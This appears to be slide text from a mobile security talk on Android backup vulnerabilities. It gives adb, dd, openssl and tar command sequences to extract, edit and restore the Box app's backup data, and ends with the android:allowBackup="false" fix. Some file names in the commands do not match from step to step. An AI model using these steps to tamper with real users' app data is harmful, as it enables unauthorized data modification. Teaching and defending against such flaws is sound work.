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Backup Based Vulnerability



• Android allows backups and restoration of its data [without root] 

• Attacker could take the backup of an app, modify the contents 
and restore it back again 

• Lastpass Vulnerability (Patched now, found by Chris John Riley)  

• Box Vulnerability (Discovered by Aditya : http://blog.attify.com)   

• Can use Android Backup Extractor (http://sourceforge.net/
projects/adbextractor/) 

Android Backup Vuln.
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Exploiting Backup vuln.



• adb backup com.box.android -f app.ab 

• dd if=app.ab bs=24 skip=1 | openssl zlib -d > app.tar 

• tar -tf app.tar > app.list 

• tar -xvf app.tar 

• //Editing// 

• star -c -v -f box_new.tar -no-dirslash list=box.list 

• dd if=app.ab bs=24 count=1 of=app_new.ab  

• openssl zlib -in app_new.tar >> app_new.ab 

• adb restore app_new.ab

Exploiting Backup vuln.
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• adb backup com.box.android -f app.ab 

• java -jar abe.jar unpack box.ab box.tar 

• tar -tf box.tar > box.list 

• tar -xvf app.tar 

• //Editing// 

• star -c -v -f box_new.tar -no-dirslash list=box.list 

• java -jar abe.jar pack box_new.tar box.ab 

• adb restore app_new.ab

Exploiting Backup vuln. (using ABE)
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Preventing Backup vuln.

android:allowBackup="false"
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